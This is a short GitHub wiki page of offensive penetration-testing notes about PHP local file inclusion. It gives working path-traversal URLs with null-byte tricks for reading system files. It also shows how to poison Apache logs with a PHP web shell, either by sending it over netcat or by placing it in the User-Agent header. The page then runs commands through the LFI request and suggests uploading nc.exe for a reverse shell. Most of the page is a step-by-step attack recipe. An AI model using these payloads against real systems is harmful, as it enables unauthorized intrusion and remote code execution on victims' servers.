Skip to content

Web_LFI

lethanhtung01011980 edited this page Jan 2, 2020 · 3 revisions

Goals

  • LFI/RFI vulnerabilities allow an attacker to include a remote or local file into the webserver’s running PHP code.

PHP include

  • "Include" vulnerability image

To display content

  • http://victim_ip/addguestbook.php?name=abc+2&comment=/&LANG=/../../../../../../windows/system32/drivers/etc/hosts%00&Submit=Submit

  • http://victim_ip/addguestbook.php?name=abc+2&comment=/&LANG=/windows/system32/drivers/etc/hosts%00&Submit=Submit

Contaminating Log Files

Make log file to contain PHP code

  • In attacker IP, nc -nv victim_ip 80

  • Key in ONCE ONLY!!! and press ENTER a few times: <?php echo shell_exec($_GET['cmd']);?> image

  • Can use Burp to manipulate User-agent to posion log => User-agent: <?php echo(exec($GET['cmd')); ?>

To execute code in contaminated log contamination and use LFI to read the result

  • http://victim_ip/addguestbook.php?name=abc&comment=b&cmd=ipconfig&LANG=../../../../../ ../../xampp/apache/logs/access.log%00
  • Can replace cmd with those in "File transfer" to upload nc.exe and create reverse shell.

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally